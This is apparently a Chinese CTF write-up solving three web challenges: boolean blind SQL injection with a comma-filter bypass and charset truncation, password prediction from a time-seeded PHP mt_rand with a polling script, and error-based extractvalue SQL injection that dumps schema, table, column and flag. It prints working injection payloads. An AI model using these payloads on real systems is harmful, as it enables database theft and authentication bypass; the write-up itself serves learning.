so easy(Bool注入)
没有回显,构造盲注,用ascii比较,爆出密码ascii(mid(passwd,%d,1))=%d
本来可以用这个方法比较,但是逗号被过滤了
所以思考构造方法
假设passwd=abc123
1
2
3mid((passwd)from(-1)):3
mid((passwd)from(-2)):23
mid((passwd)from(-3)):123
倒叙输出from的位数
观察可知1
2
33
23
123
倒着看的第一位都是3,显然不行,无法截取出来,于是想到反转1
2
33
32
321
然后取最后一位即可
故构造为:REVERSE(MID((passwd)from(-%s))
先反转mid(REVERSE(MID((passwd)from(-%s)))from(-1))
再取最后一位ascii(mid(REVERSE(MID((passwd)from(-%s)))from(-1)))=%d
再比较ascii码值1
2s in range(1,33)
d in range(33,127)
最后根据username=’’+true-‘1’
构造出Payload: ’+true-‘1
把true替换‘+ ascii(mid(REVERSE(MID((passwd)from(-%s)))from(-1)))=%d
-‘1
只要比较正确即可有正确的回显
可以盲注出passwd,即可通过
注:这里的admin不能直接提交,可以通过数据库不识别不认识的字符截断
即username=admin%df
通过
1 |
|
wrong
mt_srand(seed)
根据参数seed,设置一个随机启示点。
mt_rand()根据这个起始点,产生随机数序列。
默认的随机种子为1。如果随机种子一样,rand函数所产生的随机序列也一样。 (可以利用这一漏洞,预先计算出pwd,故可以通过)
为使每次程序运行都能产生不同的随机序列,每次都应产生一个不同的种子参数
mt_rand(min,max)
产生10~100之间的随机数
故运行1
2
3
4
5
6
7
8
9
10
11
12
13
14
$a = strtotime('Sun, 17 Apr 2017 19:13:47 GMT');
mt_srand($a+100);
function create_password($pw_length = 10)
{
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++)
{
$randpwd .= chr(mt_rand(33, 126));
}
return $randpwd;
}
$pwd=create_password();
echo $pwd;
得到pwd:~iH^32+%-t
再运行1
2
3
4
5
6
7
8
9#!/usr/bin/env python
#coding:utf-8
import requests
url = 'http://117.34.111.15:85/?pwd=~iH^32+%-t'
while True:
f = requests.get(url=url)
if 'Wrong!' not in f.content:
print f.content
break
即可得到flag
提前100秒计算出100秒后的pwd
然后一直发请求,等到你预设的时间点的pwd的时候就通过
just a test(xpath注入)
Extractvalue()
注:现在就很清楚了,我们只需要不满足XPath_string(Xpath格式)就可以了,但是由于这个方法只能爆出32位,所以可以结合mid来使用
顺带发现了另一个xpath的函数
Contact(str1,str2…)‘ union select (extractvalue(1,concat(0x7e,(你想获取的数据的sql语句)))),'1
爆库:select SCHEMA_NAME from information_schema.SCHEMATA limit 5,1
Payload:' union select (extractvalue(1,concat(0x7e,(select SCHEMA_NAME from information_schema.SCHEMATA limit 1,1)))),'1
发现一共3个库:1
2
3information_schema
test
test1
爆表:select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0×6D656D626572 limit 5,1
Payload:' union select (extractvalue(1,concat(0x7e,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x74657374 limit 0,1)))),'1
TABLE_SCHEMA=后面是库名的16进制
在test库里第一个刚好是fl@g表……就不继续爆了
爆列:select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0×61646D5F75736572 limit 5,1
1 | ' union select (extractvalue(1,concat(0x7e,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x666c4067 limit 0,1)))),'1 |
字段1
2id
f1ag
最后取出flaghttp://117.34.111.15:83/' union select (extractvalue(1,concat(0x7e,(select f1ag from test.
fl@glimit 0,1)))),'1
flag{99cd1872c9b26525a8e5ec878d
但由于32位限制,只出现部分flag,故用mid截取' union select (extractvalue(1,concat(0x7e,mid((select f1ag from test.
fl@glimit 0,1)from(20))))),'1
将两个结尾和开头重合部分拼接上flag{99cd1872c9b26525a8e5ec878d230caf}
最后得到flag